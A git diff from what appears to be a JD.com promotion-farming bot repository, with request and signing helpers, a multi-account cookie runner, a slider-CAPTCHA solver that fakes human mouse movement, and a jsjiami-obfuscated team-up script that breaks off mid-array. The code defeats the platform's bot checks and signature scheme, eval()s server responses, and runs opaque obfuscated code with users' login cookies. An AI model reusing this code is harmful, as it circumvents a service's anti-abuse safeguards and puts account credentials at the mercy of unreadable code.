let device: string, version: string; + device = await getDevice(); + version = await getVersion(device); + return `jdpingou;iPhone;5.19.0;${version};${randomString(40)};network/wifi;model/${device};appBuild/100833;ADID/;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${getRandomNumberByRange(10, 90)};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +} + +function get(url: string, headers?: any): Promise { + return new Promise((resolve, reject) => { + axios.get(url, { + headers: headers + }).then(res => { + if (typeof res.data === 'string' && res.data.includes('jsonpCBK')) { + resolve(JSON.parse(res.data.match(/jsonpCBK.?\(([\w\W]*)\);?/)[1])) + } else { + resolve(res.data) + } + }).catch(err => { + reject({ + code: err?.response?.status || -1, + msg: err?.response?.statusText || err.message || 'error' + }) + }) + }) +} + +function post(url: string, prarms?: string | object, headers?: any): Promise { + return new Promise((resolve, reject) => { + axios.post(url, prarms, { + headers: headers + }).then(res => { + resolve(res.data) + }).catch(err => { + reject({ + code: err?.response?.status || -1, + msg: err?.response?.statusText || err.message || 'error' + }) + }) + }) +} + +export default USER_AGENT +export { + TotalBean, + getBeanShareCode, + getFarmShareCode, + requireConfig, + wait, + getRandomNumberByRange, + requestAlgo, + getJxToken, + randomString, + o2s, + randomNumString, + getShareCodePool, + randomWord, + obj2str, + jdpingou, + get, + post +} diff --git a/function/common.js b/function/common.js new file mode 100644 index 0000000..a8a8e9e --- /dev/null +++ b/function/common.js @@ -0,0 +1,270 @@ +let request = require('request'); +let CryptoJS = require('crypto-js'); +let qs = require('querystring'); +let urls = require('url'); +let path = require('path'); +let notify = require('./sendNotify'); +let mainEval = require("./eval"); +let assert = require('assert'); +let jxAlgo = require("./jxAlgo"); +let config = require("./config"); +let user = {} +try { + user = require("./user") +} catch (e) {} +class env { + constructor(name) { + this.config = { ...config, + ...process.env, + ...user, + }; + this.name = name; + this.message = []; + this.sharecode = []; + this.code = []; + this.timestamp = new Date().getTime(); + this.time = this.start = parseInt(this.timestamp / 1000); + this.options = { + 'headers': {} + }; + console.log(`\n🔔${this.name}, 开始!\n`) + console.log(`=========== 脚本执行-北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()} ===========\n`) + } + done() { + let timestamp = new Date().getTime(); + let work = ((timestamp - this.timestamp) / 1000).toFixed(2) + console.log(`=========================脚本执行完成,耗时${work}s============================\n`) + console.log(`🔔${this.name}, 结束!\n`) + } + notify(array) { + let text = ''; + for (let i of array) { + text += `${i.user} -- ${i.msg}\n` + } + console.log(`\n=============================开始发送提醒消息=============================`) + notify.sendNotify(this.name + "消息提醒", text) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + setOptions(params) { + this.options = params; + } + setCookie(cookie) { + this.options.headers.cookie = cookie + } + jsonParse(str) { + try { + return JSON.parse(str); + } catch (e) { + try { + let data = this.match([/try\s*\{\w+\s*\(([^\)]+)/, /\w+\s*\(([^\)]+)/], str) + return JSON.parse(data); + } catch (ee) { + try { + let cb = this.match(/try\s*\{\s*(\w+)/, str) + if (cb) { + let func = ""; + let data = str.replace(cb, `func=`) + eval(data); + return func + } + } catch (eee) { + return str + } + } + } + } + curl(params, extra = '') { + if (typeof(params) != 'object') { + params = { + 'url': params + } + } + params = Object.assign({ ...this.options + }, params); + params.method = params.body ? 'POST' : 'GET'; + if (params.hasOwnProperty('cookie')) { + params.headers.cookie = params.cookie + } + if (params.hasOwnProperty('ua') || params.hasOwnProperty('useragent')) { + params.headers['user-agent'] = params.ua + } + if (params.hasOwnProperty('referer')) { + params.headers.referer = params.referer + } + if (params.hasOwnProperty('params')) { + params.url += '?' + qs.stringify(params.params) + } + if (params.hasOwnProperty('form')) { + params.method = 'POST' + } + return new Promise(resolve => { + request(params, async (err, resp, data) => { + try { + if (params.console) { + console.log(data) + } + this.source = this.jsonParse(data); + if (extra) { + this[extra] = this.source + } + } catch (e) { + console.log(e, resp) + } finally { + resolve(data); + } + }) + }) + } + dumps(dict) { + return JSON.stringify(dict) + } + loads(str) { + return JSON.parse(str) + } + notice(msg) { + this.message.push({ + 'index': this.index, + 'user': this.user, + 'msg': msg + }) + } + notices(msg, user, index = '') { + this.message.push({ + 'user': user, + 'msg': msg, + 'index': index + }) + } + urlparse(url) { + return urls.parse(url, true, true) + } + md5(encryptString) { + return CryptoJS.MD5(encryptString).toString() + } + haskey(data, key, value) { + value = typeof value !== 'undefined' ? value : ''; + var spl = key.split('.'); + for (var i of spl) { + i = !isNaN(i) ? parseInt(i) : i; + try { + data = data[i]; + } catch (error) { + return ''; + } + } + if (data == undefined) { + return '' + } + if (value !== '') { + return data === value ? true : false; + } else { + return data + } + } + match(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + for (let pat of pattern) { + // var match = string.match(pat); + var match = pat.exec(string) + if (match) { + var len = match.length; + if (len == 1) { + return match; + } else if (len == 2) { + return match[1]; + } else { + var r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + return r; + } + break; + } + // console.log(pat.exec(string)) + } + return ''; + } + matchall(pattern, string) { + pattern = (pattern instanceof Array) ? pattern : [pattern]; + var match; + var result = []; + for (var pat of pattern) { + while ((match = pat.exec(string)) != null) { + var len = match.length; + if (len == 1) { + result.push(match); + } else if (len == 2) { + result.push(match[1]); + } else { + var r = []; + for (let i = 1; i < len; i++) { + r.push(match[i]) + } + result.push(r); + } + } + } + return result; + } + compare(property) { + return function(a, b) { + var value1 = a[property]; + var value2 = b[property]; + return value1 - value2; + } + } + filename(file, rename = '') { + if (!this.runfile) { + this.runfile = path.basename(file).replace(".js", '').replace(/-/g, '_') + } + if (rename) { + rename = `_${rename}`; + } + return path.basename(file).replace(".js", rename).replace(/-/g, '_'); + } + rand(n, m) { + var random = Math.floor(Math.random() * (m - n + 1) + n); + return random; + } + random(arr, num) { + var temp_array = new Array(); + for (var index in arr) { + temp_array.push(arr[index]); + } + var return_array = new Array(); + for (var i = 0; i < num; i++) { + if (temp_array.length > 0) { + var arrIndex = Math.floor(Math.random() * temp_array.length); + return_array[i] = temp_array[arrIndex]; + temp_array.splice(arrIndex, 1); + } else { + break; + } + } + return return_array; + } + compact(lists, keys) { + let array = {}; + for (let i of keys) { + if (lists[i]) { + array[i] = lists[i]; + } + } + return array; + } + unique(arr) { + return Array.from(new Set(arr)); + } + end(args) { + return args[args.length - 1] + } +} +module.exports = { + env, + eval: mainEval, + assert, + jxAlgo, +} diff --git a/function/config.js b/function/config.js new file mode 100644 index 0000000..ff6baad --- /dev/null +++ b/function/config.js @@ -0,0 +1 @@ +module.exports = {"ThreadJs":[],"invokeKey":"RtKLB8euDo7KwsO0"} \ No newline at end of file diff --git a/function/eval.js b/function/eval.js new file mode 100644 index 0000000..8aa31f7 --- /dev/null +++ b/function/eval.js @@ -0,0 +1,83 @@ +function mainEval($) { + return ` +!(async () => { + jdcookie = process.env.JD_COOKIE ? process.env.JD_COOKIE.split("&") : require("./function/jdcookie").cookie; + cookies={ + 'all':jdcookie, + 'help': typeof(help) != 'undefined' ? [...jdcookie].splice(0,parseInt(help)):[] + } + $.sleep=cookies['all'].length * 500 + taskCookie=cookies['all'] + jxAlgo = new common.jxAlgo(); + if ($.readme) { + console.log(\`使用说明:\\n\${$.readme}\\n以上内容仅供参考,有需求自行添加\\n\`,) + } + console.log(\`======================本次任务共\${taskCookie.length}个京东账户Cookie======================\\n\`) + try{ + await prepare(); + + if ($.sharecode.length > 0) { + $.sharecode = $.sharecode.filter(d=>d && JSON.stringify(d)!='{}') + console.log('助力码', $.sharecode ) + } + }catch(e1){console.log("初始函数不存在,将继续执行主函数Main\\n")} + if (typeof(main) != 'undefined') { + try{ + for (let i = 0; i < taskCookie.filter(d => d).length; i++) { + $.cookie = taskCookie[i]; + $.user = decodeURIComponent($.cookie.match(/pt_pin=([^;]+)/)[1]) + $.index = parseInt(i) + 1; + let info = { + 'index': $.index, + 'user': $.user, + 'cookie': $.cookie + } + if (!$.thread) { + console.log(\`\n******开始【京东账号\${$.index}】\${$.user} 任务*********\n\`); + } + if ($.config[\`\${$.runfile}_except\`] && $.config[\`\${$.runfile}_except\`].includes(\$.user)) { + console.log(\`全局变量\${$.runfile}_except中配置了该账号pt_pin,跳过此次任务\`) + }else{ + $.setCookie($.cookie) + try{ + if ($.sharecode.length > 0) { + for (let smp of $.sharecode) { + smp = Object.assign({ ...info}, smp); + $.thread ? main(smp) : await main(smp); + } + }else{ + $.thread ? main(info) : await main(info); + } + } + catch(em){ + console.log(em.message) + } + } + + + } + }catch(em){console.log(em.message)} + if ($.thread) { + await $.wait($.sleep) + } + } + if (typeof(extra) != 'undefined') { + console.log(\`============================开始运行额外任务============================\`) + try{ + await extra(); + }catch(e4){console.log(e4.message)} + } +})().catch((e) => { + console.log(e.message) +}).finally(() => { + if ($.message.length > 0) { + $.notify($.message) + } + $.done(); +}); + +` +} +module.exports = { + mainEval +} diff --git a/function/h5st.ts b/function/h5st.ts new file mode 100644 index 0000000..3f0463d --- /dev/null +++ b/function/h5st.ts @@ -0,0 +1,73 @@ +import axios from "axios" +import {format} from "date-fns" + +const CryptoJS = require("crypto-js") + +class H5ST { + tk: string; + timestamp: string; + rd: string; + appId: string; + fp: string; + time: number; + ua: string + enc: string; + + constructor(appId: string, ua: string, fp: string) { + this.appId = appId + this.ua = ua + this.fp = fp || this.__genFp() + } + + __genFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) + } + + async __genAlgo() { + this.time = Date.now() + this.timestamp = format(this.time, "yyyyMMddHHmmssSSS") + let {data} = await axios.post(`https://cactus.jd.com/request_algo?g_ty=ajax`, { + 'version': '3.0', + 'fp': this.fp, + 'appId': this.appId.toString(), + 'timestamp': this.time, + 'platform': 'web', + 'expandParams': '' + }, { + headers: { + 'Host': 'cactus.jd.com', + 'accept': 'application/json', + 'content-type': 'application/json', + 'user-agent': this.ua, + } + }) + this.tk = data.data.result.tk + this.rd = data.data.result.algo.match(/rd='(.*)'/)[1] + this.enc = data.data.result.algo.match(/algo\.(.*)\(/)[1] + } + + __genKey(tk, fp, ts, ai, algo) { + let str = `${tk}${fp}${ts}${ai}${this.rd}`; + return algo[this.enc](str, tk) + } + + __genH5st(body: object) { + let y = this.__genKey(this.tk, this.fp, this.timestamp, this.appId, CryptoJS).toString(CryptoJS.enc.Hex) + let s = '' + for (let i in body) { + i === 'body' ? s += `${i}:${CryptoJS.SHA256(body[i]).toString(CryptoJS.enc.Hex)}&` : s += `${i}:${body[i]}&` + } + s = s.slice(0, -1) + s = CryptoJS.HmacSHA256(s, y).toString(CryptoJS.enc.Hex) + return encodeURIComponent(`${this.timestamp};${this.fp};${this.appId.toString()};${this.tk};${s};3.0;${this.time.toString()}`) + } +} + +export { + H5ST +} \ No newline at end of file diff --git a/function/jdValidate.js b/function/jdValidate.js new file mode 100644 index 0000000..5bf9ca9 --- /dev/null +++ b/function/jdValidate.js @@ -0,0 +1,466 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1'; +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + getImageData(x, y, w, h) { + const { + pixels + } = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + return { + data: pixels.slice(startIndex, startIndex + len) + }; + } +} +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + // console.log(imgBg); + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + return this.recognize(); + } + recognize() { + const { + ctx, + w: width, + bg + } = this; + const { + width: patchWidth, + height: patchHeight + } = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + // not found + return -1; + } + runWithCanvas() { + const { + createCanvas, + Image + } = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const { + naturalWidth: w, + naturalHeight: h + } = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + const width = w; + const { + naturalWidth, + naturalHeight + } = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + // not found + return -1; + } +} +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +let SERVER = 'iv.jd.com'; +if (process.env.JDJR_SERVER) { + SERVER = process.env.JDJR_SERVER +} +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.n = 0; + } + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + // console.log(pos[pos.length-1][2] -Date.now()); + await sleep(3000); + //await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', { + d, + ...this.data + }); + if (result.message === 'success') { + // console.log(result); + // console.log('JDJRValidator: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + if (this.n > 60) { + return; + } + this.n++; + return await this.run(); + } + } + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', { + e: '' + }); + const { + bg, + patch, + y + } = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + if (x > 0) count++; + if (i % 50 === 0) { + console.log('%f\%', (i / n) * 100); + } + } + console.log('successful: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = { + callback: fnId + }; + const query = new URLSearchParams({ ...DATA, + ...extraData, + ...data + }).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, { + headers + }, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline(response, zlib.createGunzip(), unzipStream, reject, ); + res = unzipStream; + } + res.setEncoding('utf8'); + let rawData = ''; + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split(""), + b = c.length, + e = +d, + a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} +const HZ = 32; +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [ + [this.x, this.y, this.t] + ]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 12, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + console.log(this.STEP, this.DURATION); + } + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + this.pos.push(lastPos); + return this.pos; + } + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 100, + }); + } + } + moveToAndCollect({ + x, + y, + duration + }) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + const currX = parseInt(this.x + 20, 10); + const currY = parseInt(this.y + 20, 10); + const currT = this.t + movedT; + this.pos.push([currX, currY, currT]); + } + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} +exports.JDJRValidator = JDJRValidator diff --git a/function/jd_captian_flp.js b/function/jd_captian_flp.js new file mode 100644 index 0000000..46fe062 --- /dev/null +++ b/function/jd_captian_flp.js @@ -0,0 +1,33 @@ +/* +console.log("不喜欢被搬运,加密脚本,担心勿跑,安佳组队,助力ck1,需要新会员,入队失败一般是老会员,一次性脚本,瓜分20组上限") +console.log("https://lzkjdz-isv.isvjcloud.com/pool/captain/13145?activityId=52c0712263f342308da1287a66702009") +*/ +const $ = new Env("飞利浦组队"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let activityList = [ + {'activityId' : '52c0712263f342308da1287a66702009' ,'activityShopId' : '1000003691' , 'activityName':'飞利浦' , 'updateCaptainNum' : '2'},, +] +let activityNum = 0; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +console.log("不喜欢被搬运,加密脚本,担心勿跑,飞利浦组队,助力ck1,需要新会员,入队失败一般是老会员,一次性脚本,瓜分20组上限") +console.log("https://lzkjdz-isv.isvjcloud.com/pool/captain/13145?activityId=52c0712263f342308da1287a66702009") +console.log('老活动,需要新会员,活动可能还会遇到bug,无法加入队伍一般都是老会员,加密脚本慎重,其他助力ck1,玩不来这类活动的别跑!!!玩不来这类活动的别跑!!!') +var _0xod8='jsjiami.com.v6',_0xod8_=['_0xod8'],_0x5ec0=[_0xod8,'\x55\x46\x56\x47\x55\x56\x59\x3d','\x64\x48\x56\x52\x61\x56\x51\x3d','\x52\x6d\x64\x77\x51\x30\x49\x3d','\x51\x6c\x52\x6c\x52\x57\x4d\x3d','\x5a\x46\x70\x51\x53\x6b\x38\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x73\x65\x6d\x74\x71\x5a\x48\x6f\x74\x61\x58\x4e\x32\x4c\x6d\x6c\x7a\x64\x6d\x70\x6a\x62\x47\x39\x31\x5a\x43\x35\x6a\x62\x32\x30\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x73\x65\x6d\x74\x71\x5a\x48\x6f\x74\x61\x58\x4e\x32\x4c\x6d\x6c\x7a\x64\x6d\x70\x6a\x62\x47\x39\x31\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x33\x56\x7a\x64\x47\x39\x74\x5a\x58\x49\x76\x5a\x32\x56\x30\x54\x58\x6c\x51\x61\x57\x35\x6e','\x61\x58\x6c\x61\x57\x6c\x67\x3d','\x54\x6d\x5a\x34\x61\x55\x51\x3d','\x53\x6b\x6c\x79\x55\x45\x55\x3d','\x54\x6b\x39\x59\x5a\x55\x6b\x3d','\x54\x6e\x4e\x4a\x5a\x57\x38\x3d','\x62\x33\x42\x6d\x62\x30\x59\x3d','\x57\x6d\x52\x6e\x53\x6d\x55\x3d','\x55\x47\x4a\x58\x55\x30\x51\x3d','\x64\x58\x4e\x6c\x63\x6b\x6c\x6b\x50\x54\x45\x77\x4d\x44\x41\x77\x4d\x54\x51\x34\x4d\x44\x4d\x6d\x64\x47\x39\x72\x5a\x57\x34\x39','\x4a\x6d\x5a\x79\x62\x32\x31\x55\x65\x58\x42\x6c\x50\x55\x46\x51\x55\x43\x5a\x79\x61\x58\x4e\x72\x56\x48\x6c\x77\x5a\x54\x30\x78','\x53\x6c\x42\x71\x61\x57\x45\x3d','\x61\x47\x35\x7a\x54\x6d\x30\x3d','\x63\x55\x70\x46\x53\x55\x73\x3d','\x65\x6c\x64\x56\x64\x6e\x59\x3d','\x54\x6d\x4e\x30\x53\x6b\x38\x3d','\x62\x47\x31\x6f\x63\x6b\x45\x3d','\x51\x6e\x56\x71\x55\x47\x77\x3d','\x55\x47\x78\x79\x56\x30\x45\x3d','\x57\x48\x56\x6f\x51\x57\x51\x3d','\x53\x30\x64\x61\x53\x57\x77\x3d','\x52\x6c\x52\x78\x51\x6e\x41\x3d','\x55\x47\x70\x49\x54\x6b\x67\x3d','\x65\x46\x56\x45\x55\x6c\x67\x3d','\x53\x6c\x64\x5a\x55\x47\x77\x3d','\x63\x6d\x4e\x78\x55\x31\x67\x3d','\x61\x55\x31\x6f\x5a\x48\x59\x3d','\x5a\x47\x74\x32\x64\x57\x63\x3d','\x59\x6d\x64\x70\x52\x47\x49\x3d','\x64\x46\x56\x70\x53\x48\x63\x3d','\x59\x57\x52\x6d\x62\x47\x38\x3d','\x62\x30\x39\x46\x56\x6e\x6f\x3d','\x64\x48\x46\x50\x63\x47\x51\x3d','\x63\x6d\x56\x77\x62\x47\x46\x6a\x5a\x51\x3d\x3d','\x61\x57\x39\x76\x65\x6e\x41\x3d','\x56\x56\x5a\x34\x59\x6c\x51\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x53\x57\x4e\x35\x56\x45\x30\x3d','\x51\x31\x70\x57\x61\x31\x55\x3d','\x65\x47\x46\x36\x63\x6c\x63\x3d','\x64\x47\x39\x54\x64\x48\x4a\x70\x62\x6d\x63\x3d','\x64\x47\x39\x56\x63\x48\x42\x6c\x63\x6b\x4e\x68\x63\x32\x55\x3d','\x54\x31\x64\x4f\x51\x56\x59\x3d','\x52\x58\x52\x52\x52\x32\x77\x3d','\x63\x6e\x52\x42\x62\x48\x59\x3d','\x55\x46\x4a\x53\x55\x46\x51\x3d','\x51\x33\x4a\x44\x52\x57\x6f\x3d','\x62\x31\x5a\x59\x61\x56\x63\x3d','\x5a\x6d\x74\x56\x52\x56\x41\x3d','\x59\x6c\x4a\x70\x64\x58\x6f\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x51\x31\x4e\x58\x55\x33\x51\x3d','\x57\x45\x6c\x72\x64\x57\x30\x3d','\x52\x33\x52\x74\x65\x47\x45\x3d','\x62\x6e\x42\x7a\x59\x30\x59\x3d','\x6